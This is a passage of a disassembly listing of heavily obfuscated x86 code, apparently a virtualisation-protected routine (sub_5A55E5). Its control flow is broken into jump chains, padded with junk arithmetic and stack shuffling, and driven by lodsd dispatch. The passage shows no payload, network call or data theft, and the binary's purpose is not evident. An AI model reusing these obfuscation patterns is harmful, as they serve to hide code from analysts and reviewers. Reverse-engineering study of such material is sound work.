; ---------------------------------------------------------------------------
		push	[esp+90h+var_90]
		mov	ecx, [esp+94h+var_94]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		push	ebp
		push	7EAC40F9h
		jmp	loc_5C496E
; ---------------------------------------------------------------------------


loc_5D2093:				; CODE XREF: sub_5A55E5+1F91Bj
		pop	[esp+98h+var_98]
		add	[esp+94h+var_94], 4
		jmp	loc_5C0694
; ---------------------------------------------------------------------------


loc_5D20A2:				; CODE XREF: sub_5A55E5+2CB34j
		sub	esi, 2DA51D5Ah
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], ecx
		push	6CB05C23h
		jmp	loc_5C3489
; ---------------------------------------------------------------------------


loc_5D20C4:				; CODE XREF: sub_5A55E5+2406Cj
		add	ecx, 0CAD9B3EAh
		sub	esi, ecx
		pop	ecx
		jmp	loc_5CCB97
; ---------------------------------------------------------------------------


loc_5D20D2:				; CODE XREF: sub_5A55E5+20A58j
		pop	esp
		add	esp, 4
		add	ebx, 4
		push	0E0Ah
		mov	[esp+0BCh+var_BC], eax
		mov	eax, 2
		add	ebx, 44FB14A4h
		add	ebx, eax
		push	796Bh
		mov	[esp+0C0h+var_C0], edi
		mov	edi, 7473053Dh
		jmp	loc_5D02B8
; ---------------------------------------------------------------------------


loc_5D2106:				; CODE XREF: sub_5A55E5+2DCB8j
		mov	ebp, 59553CB6h
		jmp	loc_5C227A
; ---------------------------------------------------------------------------


loc_5D2110:				; CODE XREF: sub_5A55E5+2BD7Cj
		pop	edx
		add	esi, 2DA51D5Ah
		add	esi, eax
		jmp	loc_5D20A2
; ---------------------------------------------------------------------------


loc_5D211E:				; CODE XREF: sub_5A55E5+1A7C3j
		pop	edx
		jmp	loc_5D2481
; ---------------------------------------------------------------------------


loc_5D2124:				; CODE XREF: sub_5A55E5+28C5Bj
		push	ebp
		mov	ebp, 1B4036Fh
		neg	ebp
		not	ebp
		jmp	loc_5C8D1A
; ---------------------------------------------------------------------------


loc_5D2133:				; CODE XREF: sub_5A55E5+29A2Ej
		add	esi, ecx
		mov	ecx, [esp+96h+var_98+2]
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ecx
		mov	ecx, esp
		jmp	loc_5C4791
; ---------------------------------------------------------------------------


loc_5D2145:				; CODE XREF: sub_5A55E5+22724j
		pop	ebx
		add	esp, 4
		push	ebp
		add	[esp+90h+var_90], 5C040403h
		pop	edi
		jmp	loc_5C2F31
; ---------------------------------------------------------------------------


loc_5D215A:				; CODE XREF: sub_5A55E5+25FA7j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+64h+var_64]
		jmp	loc_5C3B58
; ---------------------------------------------------------------------------


loc_5D216E:				; CODE XREF: sub_5A55E5+2C8AEj
		push	ecx
		push	edx
		mov	dl, 0D8h
		mov	cl, dl
		pop	edx
		or	cl, 65h
		jmp	loc_5D1253
; ---------------------------------------------------------------------------


loc_5D217D:				; CODE XREF: sub_5A55E5+263CFj
		mov	esp, [esp+58h+var_58]
		pop	ebx
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		push	edx
		mov	dl, 0Bh
		xor	dl, 1Eh
		add	al, dl
		jmp	loc_5D2C36
; ---------------------------------------------------------------------------


loc_5D2194:				; CODE XREF: sub_5A55E5+2776Bj
		mov	esp, [esp+70h+var_70]
		push	ebx
		mov	ebx, esp
		push	eax
		push	edx
		mov	edx, 589A398Eh
		mov	eax, edx
		pop	edx
		jmp	loc_5C72AE
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5D1EBA
; ---------------------------------------------------------------------------


loc_5D21AF:				; CODE XREF: sub_5A55E5+2B093j
		sub	edx, edi
		jmp	loc_5C85B3
; ---------------------------------------------------------------------------


loc_5D21B6:				; CODE XREF: sub_5A55E5+2E8CBj
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_5D0079
; ---------------------------------------------------------------------------


loc_5D21C3:				; CODE XREF: sub_5A55E5+1A852j
		pop	ebp
		mov	edx, 0A4027C2Bh
		sub	edx, ebx
		mov	ebx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_5C4BE0
; ---------------------------------------------------------------------------
		push	[esp+74h+var_74]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		push	541469CCh
		jmp	loc_5C7EBF
; ---------------------------------------------------------------------------


loc_5D21F1:				; CODE XREF: sub_5A55E5+29D76j
		inc	edi
		dec	edi
		jmp	loc_5C1916
; ---------------------------------------------------------------------------


loc_5D21F8:				; CODE XREF: sub_5A55E5+1CF04j
		not	eax
		xchg	eax, [esp+92h+var_94+2]
		mov	ebp, [esp+92h+var_94+2]
		jmp	loc_5CB9B9
; ---------------------------------------------------------------------------


loc_5D2205:				; CODE XREF: sub_5A55E5+2E71Bj
		mov	ecx, [esp+92h+var_94+2]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_5CCEB5
; ---------------------------------------------------------------------------


loc_5D2219:				; CODE XREF: sub_5A55E5+22B41j
		add	edx, 35DC5524h
		sub	edx, edi
		jmp	loc_5CBDF1
; ---------------------------------------------------------------------------


loc_5D2226:				; CODE XREF: sub_5A55E5+20927j
		add	esi, ebp
		pop	ebp
		shr	esi, 7
		add	esi, 0FF0DE8E5h
		jmp	loc_5C41E0
; ---------------------------------------------------------------------------


loc_5D2237:				; CODE XREF: sub_5A55E5+2DC5Dj
		mov	ebx, 4
		add	edi, 63C33DEh
		add	edi, ebx
		sub	edi, 63C33DEh
		push	[esp+62h+var_64+2]
		mov	ebx, [esp+66h+var_68+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+62h+var_64+2], eax
		mov	eax, 10AA50DCh
		sub	eax, 440C2F59h
		shl	eax, 8
		jmp	loc_5D1C3C
; ---------------------------------------------------------------------------


loc_5D226E:				; CODE XREF: sub_5A55E5+25109j
		add	edi, edx
		jmp	loc_5C827E
; ---------------------------------------------------------------------------


loc_5D2275:				; CODE XREF: sub_5A55E5+25851j
		add	eax, 58AD6DBFh
		jmp	loc_5C20D8
; ---------------------------------------------------------------------------


loc_5D227F:				; CODE XREF: sub_5A55E5+21BFBj
		mov	[esp+0ACh+var_AC], ebp
		push	eax
		mov	eax, 3DE5A61h
		mov	ebp, 376978B0h
		add	ebp, 0FFFFFFFFh
		sub	ebp, 78E54B64h
		push	ebp
		not	[esp+0B4h+var_B4]
		pop	ebp
		jmp	loc_5C6205
; ---------------------------------------------------------------------------


loc_5D22A0:				; CODE XREF: sub_5A55E5+23BB0j
		mov	[eax], ch
		pop	eax
		jmp	loc_5CC60E
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		push	ebx
		push	1EE10C2Ch
		mov	ebx, [esp+90h+var_90]
		jmp	loc_5CF37F
; ---------------------------------------------------------------------------


loc_5D22BA:				; CODE XREF: sub_5A55E5+1DA36j
		mov	edi, [esp+8Eh+var_90+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+92h+var_90+2]
		pop	edi
		pop	[esp+92h+var_94+2]
		mov	esp, [esp+8Eh+var_90+2]
		mov	[esp+8Eh+var_90+2], ebx
		push	edi
		mov	edi, 24326E22h
		mov	ebx, 64C7DA76h
		sub	ebx, edi
		pop	edi
		add	eax, 6CC4F34h
		add	eax, 7AB22534h
		sub	eax, ebx
		sub	eax, 7AB22534h
		jmp	loc_5CB957
; ---------------------------------------------------------------------------


loc_5D2302:				; CODE XREF: sub_5A55E5+2DBDEj
		xchg	esi, [esp+8Eh+var_90+2]
		pop	esp
		mov	[esp+8Ah+var_8C+2], eax
		mov	eax, 4BC445A0h
		mov	ebx, eax
		pop	eax
		jmp	loc_5D3FB9
; ---------------------------------------------------------------------------


loc_5D2316:				; CODE XREF: sub_5A55E5+1A59Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		jmp	loc_5BFB58
; ---------------------------------------------------------------------------


loc_5D232C:				; CODE XREF: sub_5A55E5+26685j
		push	64D4h
		mov	[esp+0A8h+var_A8], ecx
		jmp	loc_5D24F1
; ---------------------------------------------------------------------------


loc_5D2339:				; CODE XREF: sub_5A55E5+2DBE6j
		sub	esp, 4
		mov	[esp+0ACh+var_AC], eax
		push	ecx
		mov	ecx, 74C57C97h
		sub	esp, 4
		mov	[esp+0B4h+var_B4], ecx
		jmp	loc_5CF4C3
; ---------------------------------------------------------------------------


loc_5D2356:				; CODE XREF: sub_5A55E5+29DE4j
		sub	cl, 0C1h
		add	bl, cl
		pop	ecx
		jmp	loc_5C7225
; ---------------------------------------------------------------------------


loc_5D2361:				; CODE XREF: sub_5A55E5+20C95j
		pop	esp
		jmp	loc_5D1943
; ---------------------------------------------------------------------------


loc_5D2367:				; CODE XREF: sub_5A55E5+275CBj
		pop	esi
		not	ecx
		and	ecx, 17BC063Ch
		xor	ecx, 7B80438h
		add	edi, 1CD54602h
		add	edi, ecx
		sub	edi, 1CD54602h
		jmp	loc_5C165D
; ---------------------------------------------------------------------------


loc_5D2389:				; CODE XREF: sub_5A55E5+2A13Ej
		sub	ebx, 0D6F4F00h
		sub	ebx, 3DFD074Dh
		add	ebx, edx
		add	ebx, 3DFD074Dh
		add	ebx, 0D6F4F00h
		add	ebx, 27F0919h
		pop	edx
		push	7CFDh
		jmp	loc_5D0E16
; ---------------------------------------------------------------------------


loc_5D23B4:				; CODE XREF: sub_5A55E5+25565j
		push	edi
		mov	edi, 63725169h
		mov	edx, edi
		pop	edi
		push	edi
		mov	edi, 2EEF7D0Ch
		or	edx, edi
		pop	edi
		jmp	loc_5C89AE
; ---------------------------------------------------------------------------


loc_5D23CB:				; CODE XREF: sub_5A55E5+1BB81j
		mov	ebx, [esp+88h+var_88]
		jmp	loc_5C34E2
; ---------------------------------------------------------------------------


loc_5D23D3:				; CODE XREF: sub_5A55E5+28CA1j
		xor	dl, ah
		xor	ah, dl
		jmp	loc_5D13C1
; ---------------------------------------------------------------------------


loc_5D23DC:				; CODE XREF: sub_5A55E5+22F9Cj
		pop	esi
		add	ebp, eax
		push	ebx
		mov	ebx, 79744B2Eh
		add	ebp, ebx
		jmp	loc_5CF136
; ---------------------------------------------------------------------------


loc_5D23EC:				; CODE XREF: sub_5A55E5+1E7FFj
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5D0081
; ---------------------------------------------------------------------------


loc_5D23F9:				; CODE XREF: sub_5A55E5+22853j
		pop	ebp
		xor	ebx, edi
		mov	edi, [esp+98h+var_98]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Ch+var_9C]
		pop	esp
		jmp	loc_5C93E7
; ---------------------------------------------------------------------------


loc_5D2414:				; CODE XREF: sub_5A55E5+22139j
		mov	cl, 64h
		sub	al, cl
		pop	ecx
		pop	edx
		push	small 12A6h
		mov	word ptr [esp+7Ah+var_7C+2], cx
		jmp	loc_5D24CF
; ---------------------------------------------------------------------------


loc_5D2427:				; CODE XREF: sub_5A55E5+297F1j
		pop	esi
		jmp	loc_5D1790
; ---------------------------------------------------------------------------


loc_5D242D:				; CODE XREF: sub_5A55E5+2752Aj
		add	ecx, esi
		jmp	loc_5CF1FF
; ---------------------------------------------------------------------------


loc_5D2434:				; CODE XREF: sub_5A55E5+256B4j
		xor	edi, 6558600Ah
		sub	edx, edi
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_5D4019
; ---------------------------------------------------------------------------


loc_5D2450:				; CODE XREF: sub_5A55E5+1CF31j
		sub	al, bl
		pop	ebx
		add	al, 5Ch
		jmp	loc_5C3A18
; ---------------------------------------------------------------------------


loc_5D245A:				; CODE XREF: sub_5A55E5+22145j
		mov	edi, 4
		jmp	loc_5C3654
; ---------------------------------------------------------------------------


loc_5D2464:				; CODE XREF: sub_5A55E5+258FDj
		sub	eax, 58C64A89h
		mov	edx, [esp+0ACh+var_AC]
		add	esp, 4
		jmp	loc_5CA66F
; ---------------------------------------------------------------------------


loc_5D2474:				; CODE XREF: sub_5A55E5+23626j
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_5C1E8C
; ---------------------------------------------------------------------------


loc_5D2481:				; CODE XREF: sub_5A55E5+2CB3Aj
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5C039C
; ---------------------------------------------------------------------------


loc_5D2495:				; CODE XREF: sub_5A55E5+246ECj
		sub	ebp, edi
		sub	ebp, 4E6815E7h
		push	edi
		mov	edi, 65877181h
		sub	ebp, edi
		pop	edi
		pop	edi
		xor	ebp, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], ebp
		xor	ebp, [esp+7Ch+var_7C]
		jmp	loc_5C7696
; ---------------------------------------------------------------------------


loc_5D24B5:				; CODE XREF: sub_5A55E5+2A31Aj
		mov	[esp+80h+var_80], edi
		mov	edi, 2
		add	ebp, edi
		mov	edi, [esp+80h+var_80]
		push	899h
		mov	[esp+84h+var_84], eax
		jmp	loc_5CD411
; ---------------------------------------------------------------------------


loc_5D24CF:				; CODE XREF: sub_5A55E5+2CE3Dj
		push	eax
		mov	ah, 59h
		mov	cl, 5Fh
		add	cl, ah
		pop	eax
		inc	cl
		push	ebx
		jmp	loc_5D03DC
; ---------------------------------------------------------------------------


loc_5D24DF:				; CODE XREF: sub_5A55E5+27DC3j
		push	52A2C89h
		jmp	loc_5C9B30
; ---------------------------------------------------------------------------


loc_5D24E9:				; CODE XREF: sub_5A55E5+20E77j
		not	edx
		push	ecx
		jmp	loc_5C1CD1
; ---------------------------------------------------------------------------


loc_5D24F1:				; CODE XREF: sub_5A55E5+2CD4Fj
		push	esp
		pop	ecx
		jmp	loc_5D3BD9
; ---------------------------------------------------------------------------


loc_5D24F8:				; CODE XREF: sub_5A55E5+216EDj
		xor	ebp, 62D57C11h
		add	eax, 514601Ch
		sub	eax, ebp
		sub	eax, 514601Ch
		push	[esp+98h+var_98]
		pop	ebp
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, esp
		jmp	loc_5CCAA1
; ---------------------------------------------------------------------------


loc_5D251B:				; CODE XREF: sub_5A55E5+1C23Aj
		sub	ecx, 926659EBh
		push	ecx
		push	eax
		push	edx
		jmp	loc_5D1279
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+0AEh+var_B0+2], edi
		mov	edi, esp
		jmp	loc_5C001C
; ---------------------------------------------------------------------------


loc_5D2539:				; CODE XREF: sub_5A55E5+269BDj
		sub	edi, 725A15FFh
		push	edi
		not	[esp+9Ah+var_9C+2]
		pop	edi
		shr	edi, 3
		add	edi, 6314136Bh
		push	eax
		mov	eax, 3D154B76h
		not	eax
		neg	eax
		add	eax, 399A33B7h
		xor	eax, 5B437226h
		jmp	loc_5CF1D3
; ---------------------------------------------------------------------------


loc_5D2566:				; CODE XREF: sub_5A55E5+2DB27j
		add	edx, ebp
		pop	ebp
		xor	edx, 0B59CB379h
		jmp	loc_5CC7EE
; ---------------------------------------------------------------------------


loc_5D2574:				; CODE XREF: sub_5A55E5+21C3Bj
		push	[esp+84h+var_84]
		mov	eax, [esp+88h+var_88]
		jmp	loc_5C845B
; ---------------------------------------------------------------------------


loc_5D257F:				; CODE XREF: sub_5A55E5+26AC2j
		xchg	bp, word ptr [esp+7Ch+var_7C]
		mov	bx, word ptr [esp+7Ch+var_7C]
		add	esp, 2
		xchg	bx, word ptr [esp+78h+var_78]
		pop	bp
		push	small 5118h
		jmp	loc_5BFA1B
; ---------------------------------------------------------------------------


loc_5D259C:				; CODE XREF: sub_5A55E5+1DF84j
		add	esi, 4
		add	esi, 4
		jmp	loc_5CEB54
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D25B1:				; CODE XREF: sub_5A55E5+233E6j
		mov	ecx, 24h
		sub	ecx, 0A1E52C2h
		add	ecx, edi
		jmp	loc_5CB387
; ---------------------------------------------------------------------------


loc_5D25C3:				; CODE XREF: sub_5A55E5+1EC26j
		push	ecx
		mov	ecx, 4AAD4AC8h
		dec	ecx
		shr	ecx, 3
		shl	ecx, 6
		and	ecx, 7A911C62h
		xor	ecx, 0ACAC5133h
		sub	eax, ecx
		pop	ecx
		xor	ebp, eax
		mov	eax, [esp+8Ch+var_8C]
		jmp	loc_5BFE29
; ---------------------------------------------------------------------------


loc_5D25E9:				; CODE XREF: sub_5A55E5+1C8BDj
		push	8080BE9h
		pop	ebp
		add	ebp, 56BC78BEh
		shl	ebp, 1
		add	ebp, 51BD0DF2h
		xor	ebp, 2A1E148Ch
		jmp	loc_5CEEA3
; ---------------------------------------------------------------------------


loc_5D2608:				; CODE XREF: sub_5A55E5+1A958j
		add	edx, 58702E43h
		add	edx, ebp
		sub	edx, 58702E43h
		pop	ebp
		add	edx, 4
		sub	esp, 4
		mov	[esp+84h+var_84], edx
		jmp	loc_5C31EC
; ---------------------------------------------------------------------------


loc_5D2628:				; CODE XREF: sub_5A55E5+1CA4Aj
		sub	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		push	ecx
		push	2
		mov	ecx, [esp+8Ch+var_8C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5CC188
; ---------------------------------------------------------------------------


loc_5D2645:				; CODE XREF: sub_5A55E5+1E34Ej
		mov	[esp+9Ah+var_9C+2], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], edx
		mov	edx, 4B2E1577h
		jmp	loc_5C5C28
; ---------------------------------------------------------------------------


loc_5D265A:				; CODE XREF: sub_5A55E5+21C61j
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5C7252
; ---------------------------------------------------------------------------


loc_5D2665:				; CODE XREF: sub_5A55E5+24E8Ej
		pop	eax
		jmp	loc_5CF23E
; ---------------------------------------------------------------------------


loc_5D266B:				; CODE XREF: sub_5A55E5+20A09j
		mov	[esp+0B4h+var_B4], eax
		mov	ecx, [esp+0B4h+var_B4]
		add	esp, 4
		push	[esp+0B0h+var_B0]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5C95B8
; ---------------------------------------------------------------------------


loc_5D2689:				; CODE XREF: sub_5A55E5+29A85j
		pop	ecx
		jmp	loc_5D18A7
; ---------------------------------------------------------------------------


loc_5D268F:				; CODE XREF: sub_5A55E5+22649j
		sub	ebx, edx
		pop	edx
		push	esi
		mov	esi, 6B387BD5h
		sub	ebx, esi
		pop	esi
		shl	ebx, 7
		sub	ebx, 0AE77B37Ch
		add	ebp, ebx
		mov	ebx, [esp+0B6h+var_B8+2]
		add	esp, 4
		push	2077h
		jmp	loc_5CBDDF
; ---------------------------------------------------------------------------


loc_5D26B6:				; CODE XREF: sub_5A55E5+21752j
		sub	eax, 2F1BB852h
		sub	edi, eax
		jmp	loc_5CDBAC
; ---------------------------------------------------------------------------


loc_5D26C2:				; CODE XREF: sub_5A55E5+24812j
		pop	edx
		push	ebx
		mov	ebx, esp
		push	eax
		push	ecx
		push	24DD670Ch
		mov	ecx, [esp+0B6h+var_B8+2]
		add	esp, 4
		push	ebp
		mov	ebp, 3C281EC0h
		inc	ebp
		shl	ebp, 4
		shl	ebp, 8
		push	esi
		mov	esi, 7AD02644h
		jmp	loc_5D3A4E
; ---------------------------------------------------------------------------


loc_5D26EB:				; CODE XREF: sub_5A55E5+2DF01j
		sub	edx, ecx
		jmp	loc_5C5D92
; ---------------------------------------------------------------------------


loc_5D26F2:				; CODE XREF: sub_5A55E5+2E851j
		pop	ebx
		push	eax
		mov	ah, 9Ah
		dec	ah
		or	ah, 0CCh
		not	ah
		dec	ah
		xor	ah, 8Eh
		sub	ch, ah
		jmp	loc_5CB1B4
; ---------------------------------------------------------------------------


loc_5D2709:				; CODE XREF: sub_5A55E5+1CCF7j
		pop	ecx
		push	esi
		jmp	loc_5CB749
; ---------------------------------------------------------------------------


loc_5D2710:				; CODE XREF: sub_5A55E5+1ED78j
		add	cl, 0E6h
		jmp	loc_5D3DDD
; ---------------------------------------------------------------------------


loc_5D2718:				; CODE XREF: sub_5A55E5+26C7Fj
		add	bh, 9Ah
		jmp	loc_5D1E62
; ---------------------------------------------------------------------------


loc_5D2720:				; CODE XREF: sub_5A55E5+269FEj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5C1BD8
; ---------------------------------------------------------------------------


loc_5D2728:				; CODE XREF: sub_5A55E5+1C35Fj
		xor	[esp+0A4h+var_A4], esi
		xor	esi, [esp+0A4h+var_A4]
		jmp	loc_5C5292
; ---------------------------------------------------------------------------


loc_5D2733:				; CODE XREF: sub_5A55E5+24469j
		pop	esp
		jmp	loc_5C803E
; ---------------------------------------------------------------------------


loc_5D2739:				; CODE XREF: sub_5A55E5+23C51j
		add	esi, eax
		pop	eax
		add	esi, ecx
		sub	esi, 6D6C718Dh
		pop	ecx
		jmp	loc_5C1853
; ---------------------------------------------------------------------------


loc_5D274A:				; CODE XREF: sub_5A55E5+1FD98j
		add	esp, 4
		xor	ebx, [esp+9Ch+var_9C]
		xor	[esp+9Ch+var_9C], ebx
		jmp	loc_5C5D58
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Ch+var_9C]
		push	1D3Dh
		mov	[esp+0A0h+var_A0], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5C908B
; ---------------------------------------------------------------------------


loc_5D2772:				; CODE XREF: sub_5A55E5+2AB85j
		mov	word ptr [esp+0B6h+var_B8+2], ax
		jmp	loc_5C53A6
; ---------------------------------------------------------------------------


loc_5D277B:				; CODE XREF: sub_5A55E5+2E805j
		push	ecx
		mov	ch, 0DFh
		not	ch
		not	ch
		sub	ch, 0BFh
		sub	al, 0F4h
		jmp	loc_5CA492
; ---------------------------------------------------------------------------


loc_5D278C:				; CODE XREF: sub_5A55E5+2A727j
		xchg	ecx, [esp+9Ch+var_9C]
		pop	esp
		push	7DC5h
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	eax
		push	4
		mov	eax, [esp+0A8h+var_A8]
		add	esp, 4
		push	eax
		add	[esp+0A8h+var_A8], 7CDC5A75h
		pop	edx
		sub	edx, 7CDC5A75h
		pop	eax
		add	ecx, edx
		jmp	loc_5D1D9F
; ---------------------------------------------------------------------------


loc_5D27C7:				; CODE XREF: sub_5A55E5+1FA0Fj
		push	ebx
		jmp	loc_5CCE5A
; ---------------------------------------------------------------------------


loc_5D27CD:				; CODE XREF: sub_5A55E5+25784j
		shr	dh, 8
		push	eax
		mov	al, 7Dh
		add	dh, al
		pop	eax
		shl	dh, 1
		jmp	loc_5CF6E1
; ---------------------------------------------------------------------------


loc_5D27DD:				; CODE XREF: sub_5A55E5+2C956j
		mov	ebx, 78E86B05h
		push	esi
		mov	esi, 3ED14F2Ah
		xor	ebx, esi
		pop	esi
		shl	ebx, 1
		shl	ebx, 1
		add	ebx, 20C57CEFh
		xor	ebx, 255E4BECh
		jmp	loc_5C2860
; ---------------------------------------------------------------------------


loc_5D2800:				; CODE XREF: sub_5A55E5+1B01Cj
		neg	ecx
		inc	ecx
		neg	ecx
		add	ecx, 7E0D9182h
		and	esi, ecx
		pop	ecx
		xor	esi, 20221004h
		mov	edi, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5CD3E7
; ---------------------------------------------------------------------------


loc_5D2821:				; CODE XREF: sub_5A55E5+295F4j
		xor	edi, esi
		jmp	loc_5C15B2
; ---------------------------------------------------------------------------


loc_5D2828:				; CODE XREF: sub_5A55E5+22035j
		not	ebp
		xor	ebp, 0A2CCE4D7h
		mov	esi, ebp
		jmp	loc_5C529D
; ---------------------------------------------------------------------------


loc_5D2837:				; CODE XREF: sub_5A55E5+2A53Dj
		push	edi
		mov	edi, 29A33E13h
		and	edi, 17002E1Ah
		add	edi, 358932C3h
		shl	edi, 4
		add	edi, 9769F2B4h
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ebx
		xor	ebx, [esp+6Ch+var_6C]
		jmp	loc_5D323B
; ---------------------------------------------------------------------------


loc_5D2863:				; CODE XREF: sub_5A55E5+1ABA3j
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5D02A4
; ---------------------------------------------------------------------------


loc_5D2879:				; CODE XREF: sub_5A55E5+2DDE8j
		mov	[esp+7Eh+var_80+2], edi
		push	ebx
		push	768C1489h
		push	[esp+86h+var_88+2]
		jmp	loc_5C736B
; ---------------------------------------------------------------------------


loc_5D288A:				; CODE XREF: sub_5A55E5+2E3D4j
		mov	[esp+8Ah+var_8C+2], esi
		mov	esi, 781E164Fh
		push	ebx
		jmp	loc_5CFCB3
; ---------------------------------------------------------------------------


loc_5D2898:				; CODE XREF: sub_5A55E5+2B513j
		mov	[esp+9Ah+var_9C+2], esp
		jmp	loc_5D032F
; ---------------------------------------------------------------------------


loc_5D28A0:				; CODE XREF: sub_5A55E5+2D7E7j
		pop	esp
		jmp	loc_5C384D
; ---------------------------------------------------------------------------


loc_5D28A6:				; CODE XREF: sub_5A55E5+29E4Dj
		mov	[esp+0ACh+var_AC], ecx
		mov	ecx, esp
		jmp	loc_5C4B5D
; ---------------------------------------------------------------------------


loc_5D28B0:				; CODE XREF: sub_5A55E5+23795j
		mov	esi, 7D86586Bh
		xor	esi, 67316646h
		jmp	loc_5C1A9D
; ---------------------------------------------------------------------------
		push	[esp+8Eh+var_90+2]
		mov	edx, [esp+92h+var_94+2]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+9Ah+var_9C+2]
		pop	esp
		mov	[esp+96h+var_98+2], ecx
		jmp	loc_5BFD8C
; ---------------------------------------------------------------------------


loc_5D28E1:				; CODE XREF: sub_5A55E5+20C5Fj
		xor	ecx, [esp+32h+var_32]
		jmp	loc_5CEFF7
; ---------------------------------------------------------------------------


loc_5D28E9:				; CODE XREF: sub_5A55E5+2BAF4j
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		add	word ptr [esp+98h+var_98+2], 7F61h
		sub	word ptr [esp+98h+var_98+2], 1870h
		jmp	loc_5C813B
; ---------------------------------------------------------------------------


loc_5D2905:				; CODE XREF: sub_5A55E5+2C652j
		pop	ebx
		sub	al, 0Ah
		add	al, 0ECh
		sub	al, bl
		sub	al, 0ECh
		add	al, 0Ah
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 2
		xor	edx, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], edx
		xor	edx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		mov	word ptr [esp+8Ch+var_8C], dx
		mov	dl, 0B8h
		jmp	loc_5C24EE
; ---------------------------------------------------------------------------


loc_5D2936:				; CODE XREF: sub_5A55E5+2D523j
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+88h+var_88]
		jmp	loc_5C2EC6
; ---------------------------------------------------------------------------


loc_5D294D:				; CODE XREF: sub_5A55E5+23B5Cj
		add	esi, 4
		xchg	esi, [esp+7Ch+var_7C]
		pop	esp
		jmp	loc_5C5135
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 3AA545BEh
		shl	ebp, 4
		not	ebp
		or	ebp, 366E7B7Bh
		neg	ebp
		add	ebp, 77EFFF83h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5C9A97
; ---------------------------------------------------------------------------


loc_5D297D:				; CODE XREF: sub_5A55E5+20DC4j
		add	ebp, edx
		mov	edx, [esp+84h+var_84]
		add	esp, 4
		xor	ebp, 768427AAh
		and	ebp, 4FB372EDh
		xor	ebp, 44831024h
		sub	eax, 0C530974h
		sub	eax, 345D7E6Ch
		add	eax, ebp
		add	eax, 345D7E6Ch
		jmp	loc_5CBA34
; ---------------------------------------------------------------------------


loc_5D29B0:				; CODE XREF: sub_5A55E5+22FD8j
		mov	ebp, 1E6407Ch
		jmp	loc_5C46FD
; ---------------------------------------------------------------------------


loc_5D29BA:				; CODE XREF: sub_5A55E5+1ED6Dj
		add	edx, 4BDE52F4h
		jmp	loc_5CDD23
; ---------------------------------------------------------------------------


loc_5D29C5:				; CODE XREF: sub_5A55E5+1AF2Fj
		add	esp, 4
		jmp	loc_5CBFCE
; ---------------------------------------------------------------------------


loc_5D29CD:				; CODE XREF: sub_5A55E5+299B1j
		dec	bl
		jmp	loc_5CFE0E
; ---------------------------------------------------------------------------


loc_5D29D4:				; CODE XREF: sub_5A55E5+2B88Fj
		add	eax, 23223D7Bh
		pop	ebx
		push	eax
		not	[esp+98h+var_98]
		mov	eax, [esp+98h+var_98]
		add	esp, 4
		sub	eax, 0AEA1E34Ah
		add	ecx, eax
		mov	eax, [esp+94h+var_94]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+94h+var_94]
		push	eax
		mov	eax, esp
		jmp	loc_5C045E
; ---------------------------------------------------------------------------


loc_5D2A0A:				; CODE XREF: sub_5A55E5+2067Aj
		mov	ebp, [esp+60h+var_60]
		jmp	loc_5CC064
